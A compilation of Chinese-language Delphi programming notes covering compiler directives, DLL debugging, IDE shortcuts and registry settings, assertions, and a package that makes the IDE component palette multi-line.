? $HINTS ON
? $D+
? $L+
? $Q+
? $R+
? $WARNINGS ON
各指令的用法您可以參閱本章稍後對個別指令的說明, 全部打開這些開關吧! 這
樣不僅讓您可以使用Delphi IDE的除錯器, 對於程式編譯與執行過程中的問題,
Delphi也會適時的反應, 有助於寫作正確的程式。
此處有一個迷思有待澄清-「加入Dubug資訊會不會讓執行檔變大變慢啊?」, 不一
定。
對於們像是$D+, $L+, $HINTS ON這些開關, 打開後, Delphi在編譯時的確會額外
加入一些除錯資訊, 使得.DCU的檔案變大, 對於.EXE的檔案大小並沒有影響; 同
時, 程式的執行速度也沒有改變, 還可以應用IDE的除錯器trace我們的程式, 值
得應用。
對於像是$Q, $R等Compiler directive, 的確會影響執行檔的大小與速度, 然而
這並不動搖我們在研發期間使用它們的決定, 請想想看, 值得為這一點點的速度
放棄程式的正確性嗎? 當然, 程式開發完成後, 正式出貨的版本, 可以關閉這兩
個開關。

如果您寫好了一個元件, 而且只預備提供.DCU, 由於沒有.PAS可供Delphi IDE的
Debugger追蹤程式, 除錯開關反而應該在元件脫手前關閉並重新編譯.DCU, 否則
會引起使用者那邊找不到檔案的例外訊息。
善用{$I}
{$I FileName}是一個非常有用的Compiler directive.應用這個指令, 我們可以
彈性的管理Compiler directive的設定。
條件名稱請加入前置字元
不知道您有沒有這個疑問 -- 如果用{$DEFINE}定義的條件名稱與變數名稱相同時
會發生什麼事?
procedure TForm1.Button1Click(Sender: TObject);
var
TEST: integer;
begin
{$DEFINE TEST}
{$IFDEF TEST}
ShowMessage('Test');
{$ENDIF}
end;
以上的程式編譯與執行都沒有問題, 但條件名稱與變數名稱重覆畢意容易讓人混
淆, 因此, 假如能適當的為編譯條件名稱之前加上諸如底線(_TEST), 程式會比較
容易閱讀。
設定一致的編譯環境
在您了解了Compiler Directives之後, 請立即開始著手修改您IDE中有關編譯指
示的各個開關並且設為Default, 這樣, 日後您的專案乃至整個研發小組都將擁有
共同一致的編譯環境, 對於寫出來的程式會以何種方式編譯連結都了然於胸, 直
接有助於子系統順利併入主系統中。
個別指令說明
有了之前對於Compiler directives的觀念之後, 接下來的這一節我將一一介紹幾
個常用的Compiler Directive的用法與注意事項, 您可以從這一節中學到更多有
關Compiler directives的知識與使用細節。
{$A+} 欄位對齊
在{$A+}(預設值)的情形下, 如果沒有使用 packed 修飾詞宣告的 record 型態,
其欄位會以CPU可以有效存取的方式向 1. 2. 4 等邊界對齊, 以獲取最佳的存取
速度。以下列的程式示例來說:
{$A+}
type
MyRecord = record
ByteField: byte;
IntegerField: integer;
end;
＃
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(SizeOf(MyRecord)));
end;
ShowMessage在{$A+}時顯示的結果是:「8」; 倘若是{$A-}, 那所得的結果是「5
」, 按理說, Byte應該只要一個byte就足夠了, 但是考慮到硬體的執行特性, 經
過對齊後的record會有比較好的執行速度。
有關這個Compiler Directive要注意的事項是: 不管{$A}的開關是ON或OFF, 使用
packed修飾過的記錄宣告, 是一定不會對齊的. 例如:
MyRecord = packed record // 不會對齊的記錄宣告方式
{$APPTYPE GDI} 應用程式型態
一般的情形下, Delphi會以{$APPTYPE GUI}的方式產生一個圖形的使用者介面程
式, 如果您需要產生一個文字螢幕模式的程式, 那可以經由:
? 在.DPR中加入{$APPTYPE CONSOLE}
? 從主選單: Project/Options/Linker/EXE and DLL Options, 核取「Generate
Console Application」Check Box。
其他有關這個Compiler Directive的注意事項有:
? $APPTYPE不能應用在DLL的專案或單一的程式單元(Unit), 它只對.EXE有意義。
而且只有寫在.DPR中才有作用。
? 我們可以應用System程式單元中的IsConsole函數在程式執行時偵測應用程式的
類型。
? 參閱Object Pascal手冊第十三章可以知道更多有關Console Mode Applicatio
n的資訊。
{$B-} 布林評估
請看以下的程式:
if (Length(sCheckedDateString) <> 8)
or EmptyStr(sCheckedDateString)
or (sCheckedDateString = ' . . ')
or (sCheckedDateString = ' / / ') then
begin
Result := True;
Exit;
end;
假如sCheckedDateString的字串內容是「85/12/241」(長度9)的話, 以上的if述
句, 其實在第一個邏輯判斷時就已經知道結果了, 即使不看後來的邏輯運算結果
也知道整個式子會是真值。
假如您希望對整個邏輯運算式進行完整的評估 -- 儘管結果已知, 後來的邏輯運
算也不影響整個的結果時仍要全部評估過, 請將這個Compiler directives設為{
$B+}, 反之, 請設為{$B-}, 系統的預設值是{$B-}。
{$D+} 除錯資訊
當程式以{$D+}(預設值)編譯時, 我們可以用Delphi整合發展境境的Debugger設定
中斷點, 也可以使用Trace Into或Trace Info追蹤程式的執行過程, 值得注意的
是, 以{$D+}編譯的程式, 執行的速度並不會受到影響, 只不過編譯過的DCU的檔
案長度會加大, 但EXE檔的大小不變。
{$DEFINE條件名稱} 定義條件名稱
隨著您對Compiler Directives的瞭解與應用程度的加深, 您會發現這是一個非常
實用的編譯指示。
經常, 我們會因為除錯需要﹑區別不同版本等緣故, 希望選擇性的採用或排除某
一段程式, 這個時候, 我們就可以先以$DEFINE定義好一個條件名稱(Conditiona
l name), 然後配合{$IFDEF條件名稱}＃{$ELSE}＃{$ENDIF}指示編譯器按指定的
條件名稱之有無來選擇需要編譯的程式。以下列的程式片斷來說:
{$DEFINE _ProVersion}
＃
procedure TForm1.Button1Click(Sender: TObject);
begin
{$IFDEF _Proversion}
frmPrint.ShowModal; // A
{$ELSE}
ShowMessage('很抱歉, 試用版不提供列印功能');
{$ENDIF}
end;
編譯器將會選擇編譯上述A的那列程式, 日後, 如果我們需要編譯「簡易版」的程
式版本時, 只要:
? 將{$DEFINE _ProVersion}那列整個刪掉。
? 或者, 將{$DEFINE _ProVersion}改成{-$DEFINE _ProVersion}, 讓它變成普通
的註解
? 或者, 在{$DEFINE _ProVersion}的下一列加上{$UNDEF _ProVersion}, 解除_
ProVersion這個條件名稱的定義。
這樣, 由於_ProVersion這個條件名稱未定義的緣故, Compiler就只會選擇{$ELS
E}下的那段程式, 重新編譯一次, 不需費太多力氣, 很容易的就可以製作出「簡
易版」了, 省去了要同時維護兩份程式的麻煩。
使用$DEFINE時的其他注意事項如下:
? 以{$DEFINE}定義的條件名稱都是區域的。換句話說, 它的作用範圍只在當時所
在的單元才有效, 即使定義在unit的interface, 由其他的unit以uses參考也沒有
效, 仍然只有在目前的unit有作用。
? 此外, 它的作用範圍是從定義起, 到unit結尾或者以{$UNDEF}解除為止。
? 如果程式單元中已經用{$DEFINE}定義了一個條件名稱, 而且也沒有用{$UNDEF
}解除定義, 重新{$DEFINE}一個同樣名稱並沒有作用, 換句話說, 它們是同一個
.
? 假如需要一個全域的條件名稱, 您可以:主選單: Project / Options / Direc
tories/Conditional 的 Conditionals 中填入條件名稱。
? 以下的標準條件名稱, 是Delphi 2.0已經預先預備好的, 我們可以直接引用,
同時, 它們都是全域的, 任何Unit都可以參照得到。
? VER90: Delphi Object Pascal的版本編號。90表示9.0版, 日後若出現9.5版時
, 也會有VER95的定義。
? WIN32: 指出目前是在Win32(95, NT)作業環境
? CUP386: 採用386(含)以上的CPU時, 系統會提供本條件名稱。
? CONSOLE: 此符號會於應用程式是在螢幕模式下編譯時才定義。
{$DESCRIPTION 描述內容}
應用{$DESCRIPTION}可以指定加入一段文字到.EXE或.DLL表頭的模組描述進入點
(module description entry)中﹐通常我們會用這個Compiler Directive加入應
用程式的名稱與版本編號到.EXE中。例如:
{$DESCRIPTION Dchat Version 1.0}
{$X+} 擴充語法
這是為了與之前的Pascal版本前向相容的編譯指令, 雖然設定這個開關型的指令
仍有作用, 但筆者建議您大可保留系統的預設值{$X+}, 在{$X+}下:
? 不需要非得準備一個變數接受函數的傳回值, 換句話說, 函數的傳回值可以捨
棄, 此時, 就可以像是呼叫程序一樣, 很方便的呼叫函數。
? 支援Pchar型態與零基的字元陣列作為C語言以Null結尾的字串。
{$HINTS OFF} 提示訊息
打關{$HINTS}開關後, Compiler會提示程式設計師注意以下的情況:
? 變數定義了卻沒有使用
? 程式流程中不會執行的for或while迴圈
? 只有存入沒有取用的指定敘述。意思是說, 指定資料到某一個變數之後, 卻沒
有任何的程式參考取用這個變數值。
{$HINTS ON}
procedure MyTest;
const _False = False;
var
I, J: integer;
begin
if _False then
for I := 1 to 3 do ;
J := 3;
end;
{$HINTS OFF}
由於程式簡單, 在兩個$HINTS中間的程式, 我們不難看出:
? for迴圈不會執行到, I變數也因此不曾用過
? J := 3寫了等於白寫
但在程式越寫越長而日趨複雓時, 藉由{$HINTS ON}的協助, 比較容易察覺出程式
的毛病。
{$IFDEF} {$IFNDEF}
請參閱{$DEFINE}的說明, 在此補充說明{$IFNDEF}, 以下列程式來說, 即在指示
Compiler在_Test未定義時, 條件編譯ShowMessage()那列程式:
{$IFNDEF _TEST}
ShowMessage('_TEST not define');
{$ENDIF}
換言之, {$IFNDEF}相當於{$IFDEF}的{$ELSE}部分。
{$IFOPT 開關}
到底{$B}是開著或關著呢? 如果我們想要指示Compiler按照某一個編譯開關當時
的狀態作我們指定的事, 應該該怎麼做呢? 這時, {$IFOPT}就派得上用場了。例
如:
{$R+}
{$Q-} // 特別指定為Q-
{$IFOPT R+} // 如果 Range Check 是開啟的話
ShowMessage('程式是在 Range Check 開啟狀態下編譯的');
// 這個 Q+ 也會在 IFOPT R+ 成立時才通知 Compiler
{$Q+}
{$ENDIF}
{$IFOPT Q+}
ShowMessage('Q 也變成開啟狀態了');
{$ENDIF}
ShowMessage() 與 {$Q+}會在$R+ 的情形下才編譯, 因此, 雖然我們事前特別指
示為{$Q-}, 第二個的ShowMessage()在程式執行時也可以看到「Q 也變成開啟狀
態了」。
{$IMAGEBASE檔案基礎位址}
這個Compiler directive用來指示.EXE或.DLL載入時的預設位址。例如: {$IMAG
EBASE $00400000}。如果指定載入的位址空間之前已經有其他模組佔用了, Wind
ows會為.EXE重新配置一個新的載入位址。對於.DLL來說, 如果可以成功配置到我
們寫在{$IMAGEBASE}的位址, 由於不需要重新配置記憶體位址, 不僅載入的速度
較快, 如果有其他程式也參照到這個DLL的話, 也可以減少載入時間與記憶體的消
耗。
使用這個Compiler directive時需要注意的事項有:
? 指定的敘述必須是一個大於$00010000的32位元整數數值, 同時, 較低位置的1
6個位元必須是零。
? DLL的建議位址範圍從$40000000到$7FFFFFFF, 該範圍的位址可以同時適用於W
indows 95與Windows NT。
{$I檔案名稱} 含入檔案
以Delphi IDE修改Compiler directives的確相當方便, 但往往我們仍然需要將C
ompiler directives直接加入程式中, 可是當我們這樣作之後不用多久, 就會發
現要一一重新修改各個單元中的這些Compiler directives時, 實在是既無聊而又
容易出錯的工作。這時候, 假如您一開始就採用{$I檔案名稱}, 整件事就會變得
很簡單。怎麼做呢? 讓我用一個例子告訴您 --
? 先用一般的文書編輯器建好一個MySet.inc的普通文字檔案, 內容為:
{$H+}
{$DEFINE _Proversion}
? 在我們的程式中, 加入一列{$I MySet.inc}, 例如:
unit Unit1;
{$I MySet.inc}

interface
＃
implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
{$IFDEF _ProVersion}
ShowMessage('專業版');
{$Else}
ShowMessage('只有專業版才有此功能');
{$ENDIF}
end;
＃
這是副程式的觀念嘛! 沒錯, 就是這麼簡單而已, 以後如果有任何變化, 修改My
Set.INC, 然後Project/Buile All即可, 實在是夠簡單的了。
基本動作會了之後, 讓我告訴你多一點有關{$I檔案名稱}的事。
? 一旦應用了{$I檔案名稱}, 幾乎等於Compiler在編譯時, 讓Compiler將這個檔
案的內容貼進我們的程式中的那個位置。
? 如果沒有註明副檔名, Delphi預設這個檔案是.PAS。
? 如果在專案的目錄中找不到這個檔案的話, Delphi會陸續搜尋Tools/Options/
Library中的Library Path中的目錄。
另外, 當您寫作了一個DLL, 使用者在使用其中的函數前必須宣告過, 如果能夠一
併提供這些函數的宣告檔, 使用者只要一行{$I xxx}即可, 是不是很方便呢?
{$I+} EInOutError檢查
在{$I+}(系統預設值)狀態編譯的程式, 一旦發生I/O錯誤時, 將會舉發一個EInO
utError的例外, 假如我們在特定的情況下不希望出現這個例外的訊息時(例如前
文提到的偵測檔案是否存在函數), 可以將這個Compiler directive設為{$I-},
此時, 程式執行時是否發生過錯誤,程式設定師必須自行檢查IOResult這個公用變
數的值, 如果是零, 表示沒有錯誤, 非零的錯誤代碼含意請詳查Online help。

{$L檔案名稱} 連結目標檔
如果您有一個.OBJ檔要併入Delphi的程式時, 可以在程式中加入:
{$L OTHER.OBJ}
這樣, 就可以使用OTHER.OBJ中的程式了, 值得注意的是, 函數或程序在呼叫前,
仍然必須用external宣告過, 表明這些模組是來自「外部」的函式。
舉例來說, 筆者有一份由Keypro廠商提供的.OBJ檔, 在使用時, 相關的程式如下
:
＃
{$L hasptpw.obj}
{$F+}
procedure hasp (Service, SeedCode, LptNum, Pass1, Pass2 : word;
var p1,p2,p3,p4 : word); external;
{$F-}
＃
經過{$L hasptpw.obj}宣告之後, 程式的其他部分就可以直接呼叫原先位於 has
ptpw.obj中的hsap這個程序了。
{$L+} 區域符號資訊
在{$L+}時, Delphi會額外加入一些區域符號資訊, 這使得我們可以應用Delphi
IDE中的View/Call Stack, View/Watch在程式執行時檢視變數內容與函式呼叫的
關係。
應用這個Compiler directive的注意事項有:
? {$D-}時, {$L+}不會有作用。
? 使用{$L+}, 只會加大.DCU的檔案大小, 對.EXE的大小與執行速度並沒有影響。

{$H+} 長字串宣告
Delphi 2.0之後, 字串多了一個更為好用的長字串, 不僅沒有資料長度255的限制
, 與C語言慣用的Null-terminated string相容性也大為提高。
使用{$H}時的注意事項有:
? {$H+}的編譯情形下, 以string定義的字串變數都是長字串, 請注意, 字串是否
為長字串是在字串定義時決定的, 例如:
procedure TForm1.Button1Click(Sender: TObject);
{$H-}
var
s: string;
begin
{$H+}
s := '測試一下長字串';
Windows.MessageBox(0, pchar(s), '訊息', 64);
end;
由於var前{$H-}的緣故, 雖然在begin後我們立即設定為{$H+}, 但s仍然是一個短
字串, 所以, 自然不能像是長字串一樣, 以pchar強制型別轉換後當作Null-term
inated字串使用。
? 承上, 不管程式是{$H+}或{$H-}, 只要字串是以長字串方式定義的, 即使begi
n..end;中改成{$H-}, 該字串的操作仍然具有長字串的特性。
因此, 由於VCL中的字串都是長字串, 即使我們的程式是{$H-}, 仍然可以拿它們
當長字串來使用。
? 不論{$H}的狀態如何, 以AnsiString定義的一定是長字串; 以string[n]或Sho
rtString定義的一定是短字串。
{$M 16386, 1048576} 記憶體配置大小
要改變唯疊(Stack)記憶體配置大小時, 我們可以有以下兩種選擇:
? 使用{$MINSTACKSIZE數字}, {$MAXSTACKSIZE數字}, 分別指定最小.最大的Sta
ck大小.
? 或者使用{$M min, max}, 同時指定最小與最大的值。
使用這些Compiler directive時的注意事項有:
? 寫在.DPR中才有效果。
? 堆疊的最小數字必須介於1024至21474835647之間。
? 堆疊的最大數字必須介於$MINSTACKSIZE至21474835647之間。
? 當記憶體不足而無法滿足最小的堆疊大小時, Windows會在啟動這程式時提出錯
誤報告。
? 當程式要求的記憶體超過$MINSTACKSIZE的大小時, 將舉發EStackOverflow例外
。
{$Z1} 最小列舉大小
這個Compiler directive將影響儲存列舉型態時最小所需的byte數值。如果宣告
列舉型態時, 數值不大於256, 而且也在系統預設的{$Z1}時, 這個列舉型態只佔
用一個byte儲存的。{$Z2}時, 以兩個byte儲存, {$Z4}時, 以四個byte儲存。因
為C語言通常以WORD或DWORD儲存列舉型態, 如果您的程式需要與C、C++溝通時,{
$Z2}{$Z4}就很管用了
{$Z+}, 與{$Z-}分別對應到{$Z1}和{$Z4}。
{$P+} 開放字串參數
在程序與函數宣告時, 其中的字串引數, 在{$P+}時表示是Open string; {$P-}時
, 只是一般的字串變數而已。這個Compiler directive只在{$H-}時有作用。
{$O+} 最佳化開關
建議您維持{$O+}的系統預設值。開啟這個Compiler directive, Delphi會自動進
行最佳化處理, 程式可以因此跑得快一些, 您可以放心的打開這個編譯開關, De
lphi不會進行不安全的最佳化而使您的程式執行時發生錯誤。
{$Q-} 滿溢檢查, {$R-} 範圍檢查
{$Q}與{$R}是一組搭配使用的Compiler directive, 它們將檢查數值或陣列的操
作是否在安全的邊界中, {$Q}會檢查整數運算(如+, -, Abs, Sqr, Pred, Succ等
), 而{$R}則檢查字串與陣列的存取是否超出合理邊界範圍等問題。
使用這兩個Compiler directives會因為這些檢查動作而降低程式執行的速度, 通
常我們會在除錯時開啟這兩個編譯開關。
{$U-} Pentium CPU浮點運算安全檢查
還記得早期Pentium CPU浮點運算不正確的事吧? 這批CPU應該回收得差不多了,
但如果您仍然不確定程式會不會意外的遇到漏網之魚或黑心牌經銷商的話, 請將
這個Compiler directives設為{$U+}。
根據Borland手冊的說明, 如果CPU是沒有暇疵的, 設定{$U+}對於執行速度只有輕
微的影響; 但如果是問題CPU, 浮點的除法速度會因此慢上三倍, 是否要打開這個
開關, 您心中應該已有取捨。
{$R檔案名稱} 資源檔
在您還沒有開始學習Compiler directives之前, 這個指令就已經出現在您的程式
中了,-次開出一個新的form時, Delphi自動在Implement開頭部分中加入{$R *.D
FM}, 在Project/Source中看到的.DPR程式中也有{$R *.RES}, 這些是什麼意思呢
? 意思是說, 在編譯連結時, 含入與專案主檔名同名的.RES, 以及與form unit檔
案同名的.DFM等資源檔。
如果您需要在程式中使用額外的資源(例如: 自訂滑鼠指標), 請注意不要自行以
Resouse WorkShop或Image Editor等資源編輯器更改這些與Project或Form同名的
資源檔, 改變這些同名的檔案不僅無效, 可能還有不可預期的錯誤。因些, 您應
該在另外一個資源檔中存放這些資源, 並於{$R}中寫明檔案的名稱將其連結進來
, 例如:
{$R MyCursor.res}
{$T-} @指標型態檢查
應用@運算元可以取得變數的位址, 在{$T-}時, 以@取得是一個無型別的指標(Po
inter)。反過來說, 在{$T+}時, 是有型別的指標, 假定I是一個integer的變數,
@I所得到的即是相當於^Integer(Pointer of Integer)的指標。
{$WARNINGS ON} 編譯器警告
這個Compiler directive與{$HINTS}的作用類似, 同樣會對程式的可能問題提出
警告。不同的是, 在{$WARNINGS ON}時, Compiler會對未初始化的變數、沒有傳
回值的函數、建構抽象物件等情況提出警告。
{$J-} 型態常數唯讀
從前筆者曾經對以下的程式產生過疑惑:
{$J+}
procedure TForm1.Button1Click(Sender: TObject);
const
VarConst: integer = 4;
begin
VarConst := 5;
ShowMessage(IntToStr(VarConst));
end;
const不是常數嗎? 為什麼可以改呢? 在先前的Pascal版本中, 以
const VarName: DataType = const value;
定義的具型態常數的確是可以改的, 假如您希望常數就是常數, 它不應該允許修
改, 請將這個Compiler directive設為{$J-}
不論是{$J+}或{$J-}, 以const VarName = const value; 定義的常數(沒有加上
型別宣告), 是一個真正的常數, 其他的程式不可以改變其內容。
其實{$J+}時還有一個妙用, 那就是宣告出類似C語言static的變數, 換句話說,
產生了一個與Application相同生命週期的變數。在這種情形下, 變數只在第一次
使用時才會建立, 函數或程序結束時, 該變數也不會消滅, 下一次再呼叫到這個
函數或程序時, 我們仍然可以參考到上次執行結束時的值。讓我們試一下這個例
子:
{$J+}
procedure TForm1.Button1Click(Sender: TObject);
const
i: integer = 0;
begin
ShowMessage(IntToStr(i));
Inc(i);
ShowMessage(IntToStr(i));
end;
第一次執行時, 我們分別會看到「0」「1」, 再點一次這個按鈕時, 看到的將是
「1」「2」。


DLL动态库在IDE环境下断点、单步等调试应注意的事项

1)将Project主菜单的Project Options对话框的Compiler页面Debugging选项中的 Debug informaton、Local symbols、Assertions复选框选中；
2)将Tools主菜单的Debugging options对话框-->左下角Integrated debugging复选框选中；
3)选择Project主菜单的Build重新编译要调试的Project文件。
经以上设置后，可以使用断点等方式调试DLL动态库。
顺便提一下，因为Delphi使用了优化编译器，所以对于程序执行不到的源代码不会生成任何可执行代码；对于任何不符合程序逻辑的代码也是一样，如下面的例子。如果在不能生成可执行代码的可执行代码的代码行上设置断点，编译器将其标识为无效断点。下面是一个范例的一小部份：

Limit:=3;
Limit:=x1;
由于第一行生成的代码不会产生任何效果，所以它会被优化编译器忽略。在它上面设置断点也会被标识为无效断点。


判断程序是否运行在IDE下

 delphi5在system.pas里声明了一个全局变量
叫debughook,
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(DebugHook));
end;
当显示为1时，表明运行在ide下，0时表明没有运行在ide下


IDE技巧

    一、定制Speedbar

    在Delphi的可视化设计界面中，使用最频繁的地方要数位于屏幕左上角的加速按钮栏（Speedbar）了。在实践过程中，笔者无意中发现了Speedbar的定制方法，这在我用过的四本Delphi参考书中均未提及到。步骤如下：

    右键点击Speedbar，在弹出菜单中选Properties，这时会出现一个名为Speedbar Editor的对话框。假设想要增设一项“语法检查”的功能，可在左边Categories列表框中选Project，再把右侧的Syntax Check图标拖放到Speedbar的合适的位置上，这项功能就已经加上了。如果speedbar上没有多余的空间来容纳新的按钮，可将鼠标停在speedbar右框处，变为双向箭头的形状时，向右拖动一段距离，就可腾出空间。如想删除speedbar上的某个按钮，可简单地把它拖出speedbar的范围，就能删除。操作十分方便。建议把Syntax Check、Project Options（工程选项）、WindowsApi Help加到Speedbar中，可以提高开发效率。

    二、设计Form时的快捷键

    使用快捷键可以加快设计速度。下面列出的快捷键，可根据实际情况，有选择地熟练掌握。

    Del :删除所选组件；

    Esc :选择当前组件的容器（通常是Panel,Group或Form）；

    F11 :在Form或Unit和对象检查器之间切换；

    F12 :在Form和代码编辑器间切换；

    Ctrl＋F12 :显示“查看Unit”对话框；

    Shift＋F12 :显示“查看Form”对话框；

    TAB :下一个组件;

    Shift＋TAB :上一个组件;

    方向键 :选中此方向上最近的组件;

    Ctrl＋方向键 :将所选组件移动一个点;

    Shift＋方向键 :将所选组件改变一个点的大小;

    Ctrl＋Shift＋方向键 :将所选组件移动一个格;

    Shift＋click :按住Shift键再用鼠标点击组件，可以选择多个组件。

    下面这条是我摸索出来的：

    Ctrl＋drag :按住Ctrl键在一个容器组件（如Panel,QReport,Groupbox等）里拖动鼠标，可强制选择鼠标拖过的矩形框中的所有属于此容器的可视组件（不包括该容器组件）。


环境设置

 delphi注册表的基本键值：
HKEY_CURRENT_USER\Software\Borland\Delphi\4.0
1、改变属性编辑器颜色
对应键值{basekey}\Globals\PropValueColor
可以改成graphics.pas中的字符常数
如clred,clblue...
2、控件面板的自动选择
对应{base key}\Extras\AutoPaletteSelect
值为1时有效，0时无效。
3、控件面板的自动滚动
对应{base key}\Extras\AutoPaletteScroll
值为1时有效，0时无效
4、改变Form的缺省字体
对应{basekey}\FormDesign\DefaultFont
值Arial,10,Bold


Assert在调试中的应用

用法： Assert(表达式);

如果为假, assert会产生一个EAssertionFailed异常，显示信息为：

Assertion Failed (C:\src\unit1.pas, line 34)

当你不想再使用这些检查时，可以使用 {$ASSERTIONS OFF} 或 {$C-} 编译指令.

要想使Assert在整个项目中失效, 关闭Project Options | Compiler | Assertion 选项。


快速断点

在 IDE中条件断点调试是非常慢的，因为Delphi debugger每步运行都要评估条件。要想实现快速断点，我们可以直接通过代码实现：

if then

asm

int 3;

end;

它运行非常快，因为它只在需要的时候才评估条件。最后不要忘了把汇编语句嵌入到编译指令 {$IFDEF DEBUGGING} 之间允许我们根据设计和运行时的不同编辑代码。


Delphi界面我来改

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

WinAmp换肤，IE换肤，GF换肤，当换肤已成CFANS的必修课时，你有没有想过给Delphi也换一回肤呢？
Delphi换肤当然不能象WinAmp那样Down一些皮肤文件就OK了，也不象IE那样修改注册表就可以了（看完本文后，你会发现就是这么简单）。
我们为Delphi换肤主要要做两件事（如果有其他要求，可参照之），一是将元件选项板多行显示，二是为集成开发环境工具栏和菜单加上图片，怎样做呢？Delphi是用来编程的，当然是通过编程来实现了。
第一件事是元件选项板的多行显示，Delphi的标准元件在元件选项板上有二三十页，还有数十页的第三方控件，但Delphi的标准界面的元件选项板是单行显示的，有时用起来很不方便，如果能多行显示该多好，请跟我来：

用New菜单创建一个新Package，在Package窗口按Add按钮，选New Component页，在Ancestor Type下拉框中输入TObject，在Class Name项中输入TMyIDE，然后OK，在代码编辑器中删除Register过程的定义程实现部份，在Uses中引用comctrls。

在private段添下面两个方法：

procedure SetMultiLineComponentPalette(MuitLine:Boolean);
procedure ResizeMultiLineComponentPalette(Sender:TObject);

在Public部份添加构造函数和析构函数，如下：

constructor Create;// TObject的构造函数是静态方法，不能重载。
destructor Destroy;override;

定义一个全局变量：MyIDE1;

Var MyIDE1:TMyIDE;

以上四个函数及过程的实现部份如下：

constructor TMyIDE.Create;
begin
SetMultiLineComponentPalette(True);
End;

destructor TMyIDE.Destroy;
begin
SetMultiLineComponentPalette(False);
end;

procedure TMyIDE.SetMultiLineComponentPalette(MuitLine:Boolean);
Var m:Integer;
App:TForm;
TabControl:TTabControl;
begin
if Screen.FormCount>0 then
begin
For m:=0 to Screen.FormCount-1 do//遍历IDE的所有窗体；
begin
App :=Screen.Forms[m];
if UpperCase(App.Name)='APPBUILDER' then//如果是Delphi的主窗体；
begin
TabControl:=TTabControl(App.FindComponent('TabControl'));//元件选项板；
if TabControl<>nil then
begin
TabControl.MultiLine:=MuitLine;//多行显示；
if MuitLine then
TabControl.OnResize:=MyIDE1.ResizeMultiLineComponentPalette
//OnResize事件，以便元件选项板能显示元件页；如果不处理该事件，元件选项板将不能显示出元件页。
else
TabControl.OnResize:=nil;
end;
end;
end;
end;
end;

procedure TMyIDE.ResizeMultiLineComponentPalette(Sender:TObject);
var AHeight: Integer;
begin
if Sender is TTabControl then
begin
with Sender as TTabControl do
begin
AHeight := Height-(DisplayRect.Bottom-DisplayRect.Top)+29;
Constraints.MinHeight:=AHeight;
Constraints.MaxHeight:=AHeight;//改变约束高度；
(Sender as TTabControl).Parent.Constraints.MaxHeight:=AHeight;
(Sender as TTabControl).Parent.Constraints.MinHeight:=AHeight;//改变父控件的约束高度；
end;
end;
end;
代码应该不难看懂，但是定义好的方法如何使用呢？这就要单元的单元的初始化initialization部分Create MyIDE；又要在finalization部份释放MyIDE。代码如下：

initialization
MyIDE1:=TMyIDE.Create;
finalization
MyIDE1.Free;
end.

下面对以上的代码略加解释：
在TMyIDE类的Create构造函数中使用SetMultiLineComponentPalette(True)过程改变IDE的元件选项板，在析构函数中调用SetMultiLineComponentPalette(False)将IDE改成标准IDE界面。
在SetMultiLineComponentPalette方法中，首先遍历系统所有的Form对象，找到Delphi IDE的主界面，然后用Tform的FindComponent函数找到名为TabControl的元件对象，改变其MultiLine属性，如果MultiLine为True就将其OnResize事件赋与自定义的过程，否则清除OnResize事件。
在OnResize(ResizeMultiLineComponentPalette方法)事件中，计算元件选项板的所需高度，然后改自已和父控件的约束度高度。
以上代码完成后，在Package窗口中按Install按钮，怎么样？还行吧！
第二件事是给IDE添加图片，这部份就复杂多了，限于篇幅，这里只作简单介绍，笔者主页上有免费详细代码供下载，Http://aizb.126.com。
给IDE添加图片的原理是在MyIDE的Create函数中遍历所有的Delphi的主窗体的元件，如果是主菜单或弹出菜单就将其OwnerDraw属性设成True；然后用递归的方法设置其各子菜单的OnDrawItem事件，并在该事件中自已绘制菜单项，这样你就可以随心所欲地自已作出自已的IDE界面，如果你愿意，你也许能作出一个象WinAmp一样的Delphi IDE来。
下面是的修改后的IDE图片！
http://aizb.myetang.com/SubPagel/Delphi_IDE.htm
投稿人：大鱼儿　投稿日期：2001-5-25 9:30:00
// Author: 没脾气 notemper@hoolee.com
// 这是我按照自己的习惯改的 DelphiIDE 皮肤。
// 其中修改了“Delphi界面我来改”一文中的一个 bug
// 其中的 SetMultiLineComponentPalette 函数也许应改名。现在只是自己用，不作太多修改了。

unit jnc_IDE;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls,
ComCtrls, Grids;

type
TJnIDE = class(TObject)
private
procedure SetMultiLineComponentPalette( IsMultiLine: Boolean );
procedure ResizeMultiLineComponentPalette( Sender: TObject );
public
constructor Create;
destructor Destroy; override;
end;

var
GJnIDE: TJnIDE;

implementation

constructor TJnIDE.Create;
begin
SetMultiLineComponentPalette( True );
end;

destructor TJnIDE.Destroy;
begin
SetMultiLinecomponentPalette( False );
end;

procedure TJnIDE.SetMultiLineComponentPalette( IsMultiLine: Boolean );
var
m: Integer;
aForm: TForm;

frmAppBuilder: TForm;

TabControl: TTabControl;
aControlBar: TControlBar;

aSubForm: TCustomForm;
begin
try

if Screen.FormCount > 0 then
begin
for m:=0 to Screen.FormCount - 1 do
begin
aForm := Screen.Forms[m];
if CompareText( aForm.Name, ''AppBuilder'' ) = 0 then
begin
frmAppBuilder := aForm;

aControlBar := TControlBar( frmAppBuilder.FindComponent( ''ControlBar1'' ) );
if aControlBar <> nil then
begin
aControlBar.BevelEdges := [ beBottom, beLeft, beRight, beTop ];
end;

TabControl := TTabControl( frmAppBuilder.FindComponent( ''TabControl'' ) );
if TabControl <> nil then
begin
TabControl.Font.Name := ''Small Fonts'' ;
TabControl.Font.Size := 7;
TabControl.MultiLine := IsMultiLine;
if IsMultiLine then
begin
TabControl.OnResize := Self.ResizeMultiLineComponentPalette;
end else
begin
TabControl.OnResize := nil; // Fixed orginal bug.
end;
end;

aSubForm := TCustomForm( frmAppBuilder.FindComponent( ''PropertyInspector'' ) );
if aSubForm <> nil then
begin
aSubForm.Font.Name := ''Tahoma'';
aSubForm.Font.Size := 9;
end;
end;
end;
end;

except

end;
end;

procedure TJnIDE.ResizeMultiLineComponentPalette( Sender: TObject );
var
AHeight: Integer;
begin
if Sender is TTabControl then
begin
with Sender as TTabControl do
begin
AHeight := Height - (DisplayRect.Bottom - DisplayRect.Top ) + 29;
Constraints.MinHeight := AHeight;
Constraints.MaxHeight := AHeight;
Parent.Constraints.MaxHeight := AHeight;
Parent.Constraints.MinHeight := AHeight;
end;
end;
end;

initialization
GJnIDE := TJnIDE.Create;

